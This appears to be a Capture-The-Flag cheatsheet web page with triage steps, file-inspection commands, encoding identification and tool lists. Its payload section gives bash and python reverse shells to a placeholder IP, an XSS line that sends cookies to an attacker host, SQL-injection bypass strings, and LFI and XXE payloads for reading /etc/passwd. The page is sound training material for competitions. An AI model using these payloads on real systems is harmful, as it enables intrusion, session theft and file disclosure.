CTF Cheatsheet
A fast, searchable field guide for Capture-The-Flag competitions: triage any challenge, identify unknown encodings and ciphers, grab copy-paste payloads, pick the right RSA attack, and jump straight to the right tool for every category.
Last reviewed July 2026 · tools verified & refreshedNew to CTFs? Start Here
What is a CTF?
A Capture-The-Flag is a friendly hacking competition. You solve puzzles across
categories like web, crypto and forensics; each one hides a secret flag — a string
such as whatdahack{y0u_g0t_1t}. Find it, submit it, score points. You don't need to be
an expert: many challenges are beginner-friendly and you learn by doing.
Stuck? That's normal. Search the challenge topic with the words CTF writeup, read how
others approached similar problems, and keep notes. Every solve makes the next one faster.
The universal workflow — repeat for every challenge
- Read the prompt. Note the category, any hint, and the flag format. Download every attached file before you start.
- Recon & identify. Work out what you're looking at — a file type, an encoding, a running service, or a web technology — before reaching for a tool.
- Research the technique. Search the challenge keywords plus
CTF writeup. Someone has almost certainly solved something similar. - Pick the right tool. Jump to the matching category below and grab the tool built for that job.
- Solve & extract the flag. Apply the decode/attack. The flag is usually text like
whatdahack{...}. - Submit & take notes. Paste the flag to score, then jot down what worked so you recognise the pattern next time.
Challenge Triage — What Did You Get?
Match what the challenge handed you on the left, do what's on the right. This is the fastest way to stop staring and start solving.
host port or nc lineCTF writeup. You're probably in a rabbit hole — step back.First Moves on Any File
Downloaded a mystery file and don't know where to start? Run these first — one of them often reveals
the flag outright. Replace mystery with your filename.
file mystery
What kind of file is it really? Ignores the extension.
strings -n 8 mystery
Dump readable text — skim it for the flag straight away.
strings mystery | grep -i flag
Shortcut: jump directly to a plaintext flag.
exiftool mystery
Hidden info in metadata: author, comments, GPS, software.
binwalk mystery
Spot files hidden inside the file.
binwalk -e mystery
Extract those embedded / appended files.
xxd mystery | head
Inspect the first bytes and the magic number.
unzip -l mystery
Many formats (docx, apk, jar, pptx) are just ZIP archives.
How to Approach Each Category
Not sure where to begin for a given challenge type? Follow the first few steps for its category, then grab the matching tools further down the page.
Cryptography
You're given ciphertext or keys and must recover the plaintext.
- Identify the scheme with the checklist above.
- Throw it at
CyberChef/dCodefirst. - For RSA, collect
n, e, cand match an attack. - Watch for layered encodings — decode repeatedly until it's text.
Web
Attack a website to reach data or actions you shouldn't have.
- View the page source and
/robots.txt. - Open DevTools → check Network, Cookies and Storage.
- Try SQLi, XSS, IDOR and path traversal.
- Fuzz for hidden paths with
ffuf/dirsearch. - Intercept and tamper requests with
Burp Suite.
Forensics
Dig a flag out of a file, network capture, or disk image.
- Run
file,strings,exiftool,binwalk. - For
.pcap, open in Wireshark and follow TCP streams. - Carve deleted or embedded files with
foremost. - Analyse memory dumps with
Volatility.
Reverse Engineering
Understand a compiled program to find the secret.
- Run
fileandstringsfirst. - Decompile in
Ghidraand readmain. - Find the check that validates your input.
- Trace the logic, or brute it with
angr. - Debug / patch with
GDB+pwndbg.
Binary Exploitation (Pwn)
Abuse a memory bug in a running binary for a shell.
- Run
checksecto see the binary's protections. - Find the bug: overflow, format string, use-after-free.
- Craft input with
pwntools. - Redirect execution: ret2win, ROP chain, or shellcode.
- Pop a shell and
cat flag.txt.
Steganography
Data hidden inside images, audio, or other files.
- Start with
AperiSolve/StegOnline. - Run
stringsandbinwalkon the file. - Inspect the bit planes in
Stegsolve. - For audio, view the spectrogram in Sonic Visualiser.
- Try
steghide/zsteg(crack the passphrase).
OSINT
Find the answer using only public information.
- Note every name, handle, image and coordinate.
- Reverse-image search with
TinEye/ Yandex. - Pivot usernames across sites.
- Read EXIF for GPS and timestamps.
- Cross-check social media, maps and Street View.
Misc
Everything else — scripting, esolangs, and jails.
- Read the prompt for the real puzzle.
- Identify weird languages with the checklist above.
- If it says
nc host port, just connect and read. - Automate repetitive input with
pwntools/ Python.
Essential Commands
A handful of commands you'll reach for constantly. Copy, tweak the placeholders, and go.
nc <host> <port>
Connect to a remote challenge service.
grep -rInso "flag{.*}" .
Recursively hunt a flag across files.
echo <b64> | base64 -d
Decode a Base64 string.
xxd -r -p <<< <hex>
Turn a hex string back into raw bytes.
python3 -m http.server 8000
Serve files or catch a callback.
chmod +x ./chall && ./chall
Make a downloaded binary runnable.
curl -s <url>
Fetch a page or API without a browser.
ssh user@<host>
Log into a remote machine.
Copy-Paste Payloads
Battle-tested starting points. Fill in your details below and every payload updates in place — then hover a block and hit Copy. Use only on systems you're allowed to test.
Reverse shell (bash)
Start a listener with nc -lvnp 4444 first. Swap IP/port.
bash -i >& /dev/tcp/10.0.0.1/4444 0>&1
Reverse shell (python3)
Portable when bash isn't available.
python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("10.0.0.1",4444));[os.dup2(s.fileno(),f) for f in(0,1,2)];pty.spawn("/bin/sh")'Upgrade to a full TTY
After catching a dumb shell, get job control and arrow keys.
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl-Z, then locally:
stty raw -echo; fg
# then:
export TERM=xtermSQLi auth bypass
Classic login bypass — try in username and password fields.
' OR '1'='1'-- - admin'-- - " OR 1=1-- -
XSS probe
Fire an alert to confirm reflection, then escalate to steal cookies.
<img src=x onerror=alert(document.domain)>
<script>fetch('//YOUR-HOST/'+document.cookie)</script>LFI / path traversal
Read local files; try wrappers and deeper traversal if filtered.
../../../../etc/passwd php://filter/convert.base64-encode/resource=index.php
SSTI probe
If {{7*7}} renders as 49, it's template injection.
{{7*7}}
${7*7}
#{7*7}
<%= 7*7 %>XXE payload
Send as XML body to leak files via an external entity.
<?xml version="1.0"?> <!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]> <r>&x;</r>
pwntools exploit skeleton
Starting template for a remote/local binary exploit.
from pwn import *
elf = context.binary = ELF('./chall')
# io = process(elf.path)
io = remote('host', 1337)
payload = flat({ 40: p64(elf.sym.win) })
io.sendline(payload)
io.interactive()checksec + gadgets
First look at any pwn binary: protections, then ROP gadgets.
checksec --file=./chall ROPgadget --binary ./chall | grep ': pop rdi' one_gadget ./libc.so.6
Identify the Encoding / Cipher
Got a blob of unknown data? Match its shape against the patterns below, then decode it with CyberChef or dCode.
Base Encodings
+ and /, often padded with =.dGhpc2lzYmFzZTY0Y2lwaGVyCg==
=.ORUGS43JONRGC43FGMZGG2LQNBSXE===
<+oueBld\lF(I
746869732069732068657821
ROT / Shift Ciphers
E9:D:DC@Ecf4:A96C
Classical Ciphers
elmltwzbrrikpgmisivptxldpcpxpx key: leet
3-20-6 = CTF
Symbol-Based
.... .. ... .. ... -- --- .-. ... . -.-. --- -.. .
.... .... .. ... .. .... .... ...
BAABAAABBBABAAABAAABABAAAB
Unusual Alphabets
GAGTTGAAAATATTGCGGCCGCTGGTAATGAT
01100011 01110100 01100110
Esoteric Languages
+ - > < [ ] . , characters.++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>.
[ ] ( ) ! +.[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]...
('&%:9]!~}|z2Vxwv-,POqponl$Hjig%eB@@>}=
Ook., Ook?, Ook!.Ook. Ook? Ook. Ook. Ook! Ook.
pi, pika, ka, pipi.moo/MOO tokens.Symbol Ciphers (visual)
RSA — pick your attack
Cryptography Tools
Binary Exploitation (Pwn) Tools
Forensics Tools
Steganography Tools
Reverse Engineering Tools
Web Tools
OSINT Tools
Misc & Esoteric Tools
Blockchain / Web3 Tools
AI / LLM Security Tools
Privilege Escalation
Hash Cracking
Online Practice Platforms
Vulnerable Apps & Labs
Host Your Own CTF
Writeups & Courses
Glossary — Words You'll Hear
New terms come thick and fast in CTFs. Here are the ones worth knowing on day one.
whatdahack{...}.Frequently Asked Questions
CTF{example}, flag{...} or whatdahack{...}.